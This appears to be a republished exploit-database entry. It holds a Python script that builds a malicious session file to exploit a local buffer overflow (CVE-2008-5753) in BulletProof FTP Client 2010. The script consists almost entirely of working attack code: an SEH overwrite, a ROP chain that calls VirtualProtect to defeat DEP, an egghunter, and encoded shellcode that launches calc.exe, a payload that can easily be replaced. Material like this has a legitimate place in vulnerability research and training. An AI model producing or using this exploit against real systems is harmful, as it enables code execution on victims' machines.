BulletProof FTP Client 2010 – Local Buffer Overflow (DEP Bypass) - 体验盒子

#-----------------------------------------------------------------------------#

# Exploit Title: BulletProof FTP Client 2010 - Buffer Overflow (SEH)#

# Date: Feb 15 2015 #

# Exploit Author: Gabor Seljan#

# Software Link: http://www.bpftp.com/#

# Version: 2010.75.0.76 #

# Tested on: Windows XP SP3 English #

# Credits: His0k4 #

# CVE: CVE-2008-5753#

#-----------------------------------------------------------------------------#

#!/usr/bin/python

from struct import pack

# offset to SEH is 93 byte

buf= b'A' * 13

buf += pack('<L',0x77c1f62f)# POP ECX # POP ECX # POP EDI # POP EBX # POP EBP # RETN [msvcrt.dll]

buf += b'A' * 20

buf += pack('<L',0x74c86a99)# POP ESI # RETN [oleacc.dll]

buf += b'A' * 4

buf += pack('<L',0x77c4dca8)# ADD ESP,2C # RETN [msvcrt.dll]

buf += b'A' * 18

buf += pack('<L',0x77c1c47f)# POP EBX # POP EBP # RETN 10 [msvcrt.dll]

buf += b'A' * 8

buf += pack('<L',0x74c86a9a)# RETN [oleacc.dll]

buf += b'A' * 10

buf += b'\xce\xc3\x40'# ADD ESP,400 # POP ESI # POP EBX # RETN [bpftpclient.exe]

# ROP chain

rop_gadgets= b''

rop_gadgets += pack('<L',0x77c364d5)# POP EBP # RETN [msvcrt.dll]

rop_gadgets += pack('<L',0x77c364d5)# skip 4 bytes [msvcrt.dll]

rop_gadgets += pack('<L',0x77c21d16)# POP EAX # RETN [msvcrt.dll]

rop_gadgets += pack('<L',0xfffffafe)# Value to negate, will become 0x00000501

rop_gadgets += pack('<L',0x7ca82222)# NEG EAX # RETN [shell32.dll]

rop_gadgets += pack('<L',0x77227494)# XCHG EAX,EBX # RETN [WININET.dll]

rop_gadgets += pack('<L',0x77c21d16)# POP EAX # RETN [msvcrt.dll]

rop_gadgets += pack('<L',0xffffffc0)# Value to negate, will become 0x00000040

rop_gadgets += pack('<L',0x771bcbe4)# NEG EAX # RETN [WININET.dll]

rop_gadgets += pack('<L',0x77f124c8)# XCHG EAX,EDX # RETN [GDI32.dll]

rop_gadgets += pack('<L',0x77c2c343)# POP ECX # RETN [msvcrt.dll]

rop_gadgets += pack('<L',0x77c605b5)# &Writable location [msvcrt.dll]

rop_gadgets += pack('<L',0x77c23b47)# POP EDI # RETN [msvcrt.dll]

rop_gadgets += pack('<L',0x77c39f92)# RETN (ROP NOP) [msvcrt.dll]

rop_gadgets += pack('<L',0x77c34d9a)# POP ESI # RETN [msvcrt.dll]

rop_gadgets += pack('<L',0x77c2aacc)# JMP [EAX] [msvcrt.dll]

rop_gadgets += pack('<L',0x77c21d16)# POP EAX # RETN [msvcrt.dll]

rop_gadgets += pack('<L',0x77c11120)# ptr to &VirtualProtect() [IAT msvcrt.dll]

rop_gadgets += pack('<L',0x77c12df9)# PUSHAD # RETN [msvcrt.dll]

rop_gadgets += pack('<L',0x77c35524)# ptr to 'push esp #ret ' [msvcrt.dll]

# heap-only egghunter

hunter= b'\x6a\x30\x5a' # PUSH 30 # POP EDX

hunter += b'\x64\x8b\x12' # MOV EDX, DWORD PTR FS:[EDX]

hunter += b'\x80\xc2\x90' # ADD DL,90

hunter += b'\x8b\x12' # MOV EDX, DWORD PTR [EDX]

hunter += b'\xeb\x05' # JMP SHORT

hunter += b'\x66\x81\xca\xff\x0f' # OR DX,0FFF

hunter += b'\x42\x52' # INC EDX # PUSH EDX

hunter += b'\x6a\x02\x58' # PUSH 2 # POP EAX

hunter += b'\xcd\x2e' # INT 2E

hunter += b'\x3c\x05' # CMP AL,5

hunter += b'\x5a' # POP EDX

hunter += b'\x74\xef' # JE SHORT

hunter += b'\xb8\x77\x30\x30\x74' # MOV EAX, w00t

hunter += b'\x89\xd7' # MOV EDI,EDX

hunter += b'\xaf' # SCAS DWORD PTR ES:[EDI]

hunter += b'\x75\xea' # JNZ SHORT

hunter += b'\xaf' # SCAS DWORD PTR ES:[EDI]

hunter += b'\x75\xe7' # JNZ SHORT

# copy shellcode back to stack

strcpy= b'\x8b\xec' # MOV EBP,ESP

strcpy += b'\x57\x55\x55' # PUSH EDI # PUSH EBP # PUSH EBP

strcpy += b'\x68\x30\x60\xc4\x77' # PUSH ptr to &strcpy [msvcrt.dll]

strcpy += b'\xc3' # RET

egg = 'w00t'.encode()

# msfvenom -p windows/exec -b '\x00\x0d\x0a\x1a' -e x86/shikata_ga_nai cmd=calc.exe

shellcode= b''

shellcode += b'\xdb\xd1\xb8\xda\x92\x2c\xca\xd9\x74\x24\xf4\x5a\x31'

shellcode += b'\xc9\xb1\x31\x83\xc2\x04\x31\x42\x14\x03\x42\xce\x70'

shellcode += b'\xd9\x36\x06\xf6\x22\xc7\xd6\x97\xab\x22\xe7\x97\xc8'

shellcode += b'\x27\x57\x28\x9a\x6a\x5b\xc3\xce\x9e\xe8\xa1\xc6\x91'

shellcode += b'\x59\x0f\x31\x9f\x5a\x3c\x01\xbe\xd8\x3f\x56\x60\xe1'

shellcode += b'\x8f\xab\x61\x26\xed\x46\x33\xff\x79\xf4\xa4\x74\x37'

shellcode += b'\xc5\x4f\xc6\xd9\x4d\xb3\x9e\xd8\x7c\x62\x95\x82\x5e'

shellcode += b'\x84\x7a\xbf\xd6\x9e\x9f\xfa\xa1\x15\x6b\x70\x30\xfc'

shellcode += b'\xa2\x79\x9f\xc1\x0b\x88\xe1\x06\xab\x73\x94\x7e\xc8'

shellcode += b'\x0e\xaf\x44\xb3\xd4\x3a\x5f\x13\x9e\x9d\xbb\xa2\x73'

shellcode += b'\x7b\x4f\xa8\x38\x0f\x17\xac\xbf\xdc\x23\xc8\x34\xe3'

shellcode += b'\xe3\x59\x0e\xc0\x27\x02\xd4\x69\x71\xee\xbb\x96\x61'

shellcode += b'\x51\x63\x33\xe9\x7f\x70\x4e\xb0\x15\x87\xdc\xce\x5b'

shellcode += b'\x87\xde\xd0\xcb\xe0\xef\x5b\x84\x77\xf0\x89\xe1\x88'

shellcode += b'\xba\x90\x43\x01\x63\x41\xd6\x4c\x94\xbf\x14\x69\x17'

shellcode += b'\x4a\xe4\x8e\x07\x3f\xe1\xcb\x8f\xd3\x9b\x44\x7a\xd4'

shellcode += b'\x08\x64\xaf\xb7\xcf\xf6\x33\x16\x6a\x7f\xd1\x66'

identifier = b'This is a BulletProof FTP Client Session-File and should not be modified directly.'

host = buf

port = b'21'

name = b'B' + rop_gadgets + hunter + strcpy

password = b'bpfmcidchffddknejf'

local= egg + egg + shellcode

sploit = b"\r\n".join([identifier, host, port, name, password, local])

try:

print('[*] Creating exploit file...')

f = open('sploit.bps', 'wb')

f.write(sploit)

f.close()

print('[*] sploit.bps file successfully created!')

except:

print('[!] Error while creating exploit file!')